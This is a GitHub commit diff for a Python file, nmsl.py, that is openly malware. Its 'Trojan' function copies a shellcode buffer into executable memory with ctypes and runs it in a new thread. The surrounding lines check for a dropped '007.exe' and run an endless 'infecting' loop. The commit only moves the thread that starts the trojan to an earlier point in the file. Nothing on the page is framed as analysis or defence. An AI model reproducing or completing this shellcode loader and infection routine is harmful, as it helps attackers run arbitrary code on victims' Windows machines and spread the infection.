Skip to content

Commit 98a72f4

Browse files
authored
Update nmsl.py
1 parent b708d3d commit 98a72f4

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

nmsl.py

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,8 @@ def Trojan():
2626
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(sbcode), len(sbcode))
2727
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
2828
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
29-
29+
tro = threading.Thread(target=Trojan)
30+
tro.start()
3031

3132
if os.getcwd()!=work_home:
3233
if '007.exe' not in os.listdir(work_home):
@@ -63,9 +64,6 @@ def infecting():
6364
while True:
6465
infect().go()
6566

66-
67-
tro = threading.Thread(target=Trojan)
68-
tro.start()
6967

7068
infects= threading.Thread(target=infecting)
7169
infects.start()

0 commit comments

Comments
 (0)